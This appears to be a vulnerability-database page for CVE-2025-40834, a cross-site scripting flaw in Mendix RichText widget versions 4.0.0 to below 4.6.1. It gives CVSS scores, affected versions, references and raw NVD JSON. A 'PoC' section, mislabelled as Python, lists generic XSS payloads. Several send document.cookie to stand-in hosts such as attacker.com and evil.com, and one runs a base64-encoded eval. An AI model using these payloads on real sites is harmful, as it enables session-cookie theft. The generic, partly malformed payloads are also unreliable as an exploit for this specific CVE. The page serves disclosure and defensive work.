CVE-2025-40834

Description

A vulnerability has been identified in Mendix RichText (All versions >= V4.0.0 < V4.6.1). Affected widget does not properly neutralize the input. This could allow an attacker to execute cross-site scripting attacks.

CVSS Details

CVSS Score

5.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Mendix RichText Widget V4.0.0

Mendix RichText Widget V4.0.1

Mendix RichText Widget V4.1.0

Mendix RichText Widget V4.2.0

Mendix RichText Widget V4.3.0

Mendix RichText Widget V4.4.0

Mendix RichText Widget V4.5.0

Mendix RichText Widget V4.6.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- XSS PoC for CVE-2025-40834 -->
<!-- Method 1: Using iframe with javascript URL -->
<iframe src="javascript:alert(document.cookie)">

<!-- Method 2: Using img with onerror handler -->
<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">

<!-- Method 3: Using svg with onload handler -->
<svg onload="eval(atob('YWxlcnQoJ1hTUyBBdHRhY2snKQ=='))">

<!-- Method 4: Using body with onerror -->
<body onerror="alert('XSS')>

<!-- Method 5: Using script tag -->
<script>fetch('https://attacker.com?data='+btoa(document.cookie))</script>

<!-- Real-world attack payload example -->
<div>
<iframe src="javascript:fetch('https://evil.com/log?c='+document.cookie)">
</div>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-40834
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-40834
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-40834/
[4] VulDB https://vuldb.com/cve/CVE-2025-40834
[5] https://cert-portal.siemens.com/productcert/html/ssa-190588.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-40834", "sourceIdentifier": "[email protected]", "published": "2025-11-17T12:15:44.290", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in Mendix RichText (All versions >= V4.0.0 < V4.6.1). Affected widget does not properly neutralize the input. This could allow an attacker to execute cross-site scripting attacks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-190588.html", "source": "[email protected]"}]}}